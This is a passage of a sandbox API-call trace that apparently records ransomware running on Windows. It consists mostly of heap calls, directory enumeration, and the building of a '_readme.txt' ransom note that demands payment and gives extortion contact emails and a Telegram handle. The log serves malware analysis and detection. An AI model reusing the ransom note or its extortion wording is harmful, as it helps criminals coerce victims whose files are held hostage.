lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.668] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.668] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.669] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.669] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x860) returned 0x331d740 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc46) returned 0x331d740 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.670] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.670] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba490 [0112.671] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306ed0 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.671] PathFindFileNameW (pszPath="C:\\Boot\\pt-PT\\") returned="pt-PT\\" [0112.671] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0112.671] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba468 | out: hHeap=0x660000) returned 1 [0112.671] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0112.671] PathFindFileNameW (pszPath="") returned="" [0112.672] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75b00000 [0112.672] GetProcAddress (hModule=0x75b00000, lpProcName="SHGetFolderPathW") returned 0x75b85708 [0112.672] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x331d740 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0112.672] FreeLibrary (hLibModule=0x75b00000) returned 1 [0112.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba490 | out: hHeap=0x660000) returned 1 [0112.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.672] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.672] PathAppendW (in: pszPath="C:\\Boot\\pt-PT\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 1 [0112.672] PathFileExistsW (pszPath="C:\\Boot\\pt-PT\\_readme.txt") returned 0 [0112.672] lstrcpyW (in: lpString1=0x331f120, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf" [0112.672] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237Ihsdf", lpString2="BfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-Uwo9T1cpFc\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n113Asd3768237IhsdfBfRecw3cYArWuePr6ltOyIvCBKM1pDGu3hX1Gc62" [0112.672] CreateFileW (lpFileName="C:\\Boot\\pt-PT\\_readme.txt" (normalized: "c:\\boot\\pt-pt\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3307758 | out: hHeap=0x660000) returned 1 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331f120 | out: hHeap=0x660000) returned 1 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306ed0 | out: hHeap=0x660000) returned 1 [0112.673] FindFirstFileW (in: lpFileName="C:\\Boot\\pt-PT\\*", lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32a6848 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.673] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0d3720, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0112.673] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0112.673] FindNextFileW (in: hFindFile=0x32a6848, lpFindFileData=0x3b2fba4 | out: lpFindFileData=0x3b2fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe823ce95, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15e40, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0112.673] FindClose (in: hFindFile=0x32a6848 | out: hFindFile=0x32a6848) returned 1 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba300 | out: hHeap=0x660000) returned 1 [0112.673] PeekMessageW (in: lpMsg=0x3b2fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x3b2fb74) returned 0 [0112.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.673] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.673] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x830) returned 0x3306648 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0xc2e) returned 0x331d740 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x331d740 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x820) returned 0x3306648 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x3306648 | out: hHeap=0x660000) returned 1 [0112.674] HeapFree (in: hHeap=0x660000, dwFlags=0x0, lpMem=0x32ba4b8 | out: hHeap=0x660000) returned 1 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x20) returned 0x32ba4b8 [0112.674] RtlAllocateHeap (HeapHandle=0x660000, Flags=0x0, Size=0x840) returned 0x3306648 [0112.674] HeapFree (in: 